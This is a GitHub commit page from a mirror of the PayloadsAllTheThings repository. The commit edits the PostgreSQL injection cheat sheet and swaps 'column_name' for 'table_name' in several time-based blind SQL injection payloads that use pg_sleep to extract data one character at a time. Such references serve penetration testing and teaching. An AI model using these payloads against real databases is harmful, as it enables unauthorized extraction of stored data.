1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-13 15:46:05 +02:00

Update PostgreSQL Injection.md

Switch "column_name" to "table_name".
This commit is contained in:
somebodyoncetoldme 2023-01-03 21:02:57 -08:00 committed by GitHub
parent 5190829ab4
commit aa8950a273
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -169,8 +169,8 @@ select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0)
```
#### columns dump time based
```sql
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name where column_name='value' limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
```